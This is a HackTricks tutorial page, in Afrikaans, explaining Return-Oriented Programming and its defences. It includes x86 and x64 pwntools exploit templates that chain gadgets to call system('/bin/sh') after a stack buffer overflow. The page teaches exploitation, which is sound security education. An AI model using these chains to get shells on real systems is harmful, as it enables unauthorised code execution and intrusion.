ROP - Return Oriented Programing

Reading time: 10 minutes

tip

Leer & oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer & oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Ondersteun HackTricks

Basiese Inligting

Return-Oriented Programming (ROP) is 'n gevorderde eksploitasi tegniek wat gebruik word om sekuriteitsmaatreëls soos No-Execute (NX) of Data Execution Prevention (DEP) te omseil. In plaas daarvan om shellcode in te spuit en uit te voer, benut 'n aanvaller stukke kode wat reeds in die binêre of in gelaaide biblioteke teenwoordig is, bekend as "gadgets". Elke gadget eindig tipies met 'n ret instruksie en voer 'n klein operasie uit, soos om data tussen registers te beweeg of aritmetiese operasies uit te voer. Deur hierdie gadgets saam te ketting, kan 'n aanvaller 'n payload saamstel om arbitrêre operasies uit te voer, wat effektief NX/DEP beskermings omseil.

Hoe ROP Werk

  1. Beheervloei Hijacking: Eerstens moet 'n aanvaller die beheervloei van 'n program oorneem, tipies deur 'n buffer overflow te benut om 'n gestoor terugadres op die stapel te oorskry.
  2. Gadget Ketting: Die aanvaller kies dan versigtig en ketting gadgets om die gewenste aksies uit te voer. Dit kan behels om argumente vir 'n funksie-aanroep op te stel, die funksie aan te roep (bv. system("/bin/sh")), en enige nodige opruiming of addisionele operasies te hanteer.
  3. Payload Uitvoering: Wanneer die kwesbare funksie terugkeer, begin dit om die ketting van gadgets uit te voer in plaas daarvan om na 'n wettige ligging terug te keer.

Gereedskap

Tipies kan gadgets gevind word met behulp van ROPgadget, ropper of direk van pwntools (ROP).

ROP Ketting in x86 Voorbeeld

x86 (32-bit) Aanroep konvensies

  • cdecl: Die oproeper maak die stapel skoon. Funksie argumente word in omgekeerde volgorde (regs na links) op die stapel gepush. Argumente word van regs na links op die stapel gepush.
  • stdcall: Soortgelyk aan cdecl, maar die callee is verantwoordelik vir die skoonmaak van die stapel.

Gadgets Vind

Eerstens, kom ons neem aan ons het die nodige gadgets binne die binêre of sy gelaaide biblioteke geïdentifiseer. Die gadgets waarin ons belangstel, is:

  • pop eax; ret: Hierdie gadget pop die boonste waarde van die stapel in die EAX register en keer dan terug, wat ons toelaat om EAX te beheer.
  • pop ebx; ret: Soortgelyk aan die bogenoemde, maar vir die EBX register, wat beheer oor EBX moontlik maak.
  • mov [ebx], eax; ret: Beweeg die waarde in EAX na die geheue ligging wat deur EBX aangedui word en keer dan terug. Dit word dikwels 'n write-what-where gadget genoem.
  • Daarbenewens het ons die adres van die system() funksie beskikbaar.

ROP Ketting

Met behulp van pwntools, berei ons die stapel voor vir die ROP ketting uitvoering soos volg met die doel om system('/bin/sh') uit te voer, let op hoe die ketting begin met:

  1. 'n ret instruksie vir uitlijning doeleindes (opsioneel)
  2. Adres van die system funksie (veronderstel ASLR gedeaktiveer en bekende libc, meer inligting in Ret2lib)
  3. Plaasvervanger vir die terugadres van system()
  4. "/bin/sh" string adres (parameter vir die system funksie)
python
from pwn import *

# Assuming we have the binary's ELF and its process
binary = context.binary = ELF('your_binary_here')
p = process(binary.path)

# Find the address of the string "/bin/sh" in the binary
bin_sh_addr = next(binary.search(b'/bin/sh\x00'))

# Address of system() function (hypothetical value)
system_addr = 0xdeadc0de

# A gadget to control the return address, typically found through analysis
ret_gadget = 0xcafebabe  # This could be any gadget that allows us to control the return address

# Construct the ROP chain
rop_chain = [
ret_gadget,    # This gadget is used to align the stack if necessary, especially to bypass stack alignment issues
system_addr,   # Address of system(). Execution will continue here after the ret gadget
0x41414141,    # Placeholder for system()'s return address. This could be the address of exit() or another safe place.
bin_sh_addr    # Address of "/bin/sh" string goes here, as the argument to system()
]

# Flatten the rop_chain for use
rop_chain = b''.join(p32(addr) for addr in rop_chain)

# Send ROP chain
## offset is the number of bytes required to reach the return address on the stack
payload = fit({offset: rop_chain})
p.sendline(payload)
p.interactive()

ROP-ketting in x64 Voorbeeld

x64 (64-bit) Aanroep konvensies

  • Gebruik die System V AMD64 ABI aanroep konvensie op Unix-agtige stelsels, waar die eerste ses heelgetal of wysiger argumente in die registers RDI, RSI, RDX, RCX, R8, en R9 oorgedra word. Bykomende argumente word op die stapel oorgedra. Die terugkeerwaarde word in RAX geplaas.
  • Windows x64 aanroep konvensie gebruik RCX, RDX, R8, en R9 vir die eerste vier heelgetal of wysiger argumente, met bykomende argumente wat op die stapel oorgedra word. Die terugkeerwaarde word in RAX geplaas.
  • Registers: 64-bit registers sluit RAX, RBX, RCX, RDX, RSI, RDI, RBP, RSP, en R8 tot R15 in.

Vind Gadgets

Vir ons doel, laat ons fokus op gadgets wat ons sal toelaat om die RDI register in te stel (om die "/bin/sh" string as 'n argument aan system() oor te dra) en dan die system() funksie aan te roep. Ons neem aan ons het die volgende gadgets geïdentifiseer:

  • pop rdi; ret: Popp die boonste waarde van die stapel in RDI en keer dan terug. Essensieel om ons argument vir system() in te stel.
  • ret: 'n Eenvoudige terugkeer, nuttig vir stapel-alignment in sommige scenario's.

En ons weet die adres van die system() funksie.

ROP-ketting

Hieronder is 'n voorbeeld wat pwntools gebruik om 'n ROP-ketting op te stel en uit te voer wat daarop gemik is om system('/bin/sh') op x64 uit te voer:

python
from pwn import *

# Assuming we have the binary's ELF and its process
binary = context.binary = ELF('your_binary_here')
p = process(binary.path)

# Find the address of the string "/bin/sh" in the binary
bin_sh_addr = next(binary.search(b'/bin/sh\x00'))

# Address of system() function (hypothetical value)
system_addr = 0xdeadbeefdeadbeef

# Gadgets (hypothetical values)
pop_rdi_gadget = 0xcafebabecafebabe  # pop rdi; ret
ret_gadget = 0xdeadbeefdeadbead     # ret gadget for alignment, if necessary

# Construct the ROP chain
rop_chain = [
ret_gadget,        # Alignment gadget, if needed
pop_rdi_gadget,    # pop rdi; ret
bin_sh_addr,       # Address of "/bin/sh" string goes here, as the argument to system()
system_addr        # Address of system(). Execution will continue here.
]

# Flatten the rop_chain for use
rop_chain = b''.join(p64(addr) for addr in rop_chain)

# Send ROP chain
## offset is the number of bytes required to reach the return address on the stack
payload = fit({offset: rop_chain})
p.sendline(payload)
p.interactive()

In hierdie voorbeeld:

  • Ons gebruik die pop rdi; ret gadget om RDI op die adres van "/bin/sh" te stel.
  • Ons spring direk na system() nadat ons RDI gestel het, met system()'s adres in die ketting.
  • ret_gadget word gebruik vir uitlijning as die teikenomgewing dit vereis, wat meer algemeen in x64 is om behoorlike stapeluitlijning te verseker voordat funksies aangeroep word.

Stapeluitlijning

Die x86-64 ABI verseker dat die stapel 16-byte uitgelijnd is wanneer 'n call-instruksie uitgevoer word. LIBC, om prestasie te optimaliseer, gebruik SSE-instruksies (soos movaps) wat hierdie uitlijning vereis. As die stapel nie behoorlik uitgelijnd is (wat beteken RSP is nie 'n veelvoud van 16 nie), sal oproepe na funksies soos system misluk in 'n ROP-ketting. Om dit reg te stel, voeg eenvoudig 'n ret gadget by voordat jy system in jou ROP-ketting aanroep.

x86 vs x64 hoof verskil

tip

Aangesien x64 registers vir die eerste paar argumente gebruik, vereis dit dikwels minder gadgets as x86 vir eenvoudige funksie-oproepe, maar om die regte gadgets te vind en te ketting kan meer kompleks wees weens die verhoogde aantal registers en die groter adresruimte. Die verhoogde aantal registers en die groter adresruimte in x64 argitektuur bied beide geleenthede en uitdagings vir eksploitontwikkeling, veral in die konteks van Return-Oriented Programming (ROP).

ROP-ketting in ARM64 Voorbeeld

ARM64 Basiese beginsels & Oproep konvensies

Kyk na die volgende bladsy vir hierdie inligting:

Introduction to ARM64v8

Beskerming teen ROP

  • ASLR & PIE: Hierdie beskermings maak dit moeiliker om ROP te gebruik aangesien die adresse van die gadgets tussen uitvoering verander.
  • Stack Canaries: In die geval van 'n BOF, is dit nodig om die stoor stapelkanarie te omseil om terugwysers te oorskry om 'n ROP-ketting te misbruik.
  • Gebrek aan Gadgets: As daar nie genoeg gadgets is nie, sal dit nie moontlik wees om 'n ROP-ketting te genereer nie.

ROP-gebaseerde tegnieke

Let daarop dat ROP net 'n tegniek is om arbitrêre kode uit te voer. Gebaseer op ROP is 'n klomp Ret2XXX-tegnieke ontwikkel:

  • Ret2lib: Gebruik ROP om arbitrêre funksies van 'n gelaaide biblioteek met arbitrêre parameters aan te roep (gewoonlik iets soos system('/bin/sh').

Ret2lib

  • Ret2Syscall: Gebruik ROP om 'n oproep na 'n syscall, bv. execve, voor te berei en dit te laat uitvoer arbitrêre opdragte.

Ret2syscall

  • EBP2Ret & EBP Ketting: Die eerste sal EBP misbruik in plaas van EIP om die vloei te beheer en die tweede is soortgelyk aan Ret2lib, maar in hierdie geval word die vloei hoofsaaklik met EBP-adresse beheer (alhoewel dit ook nodig is om EIP te beheer).

Stack Pivoting - EBP2Ret - EBP chaining

Ander Voorbeelde & Verwysings

tip

Leer & oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer & oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Ondersteun HackTricks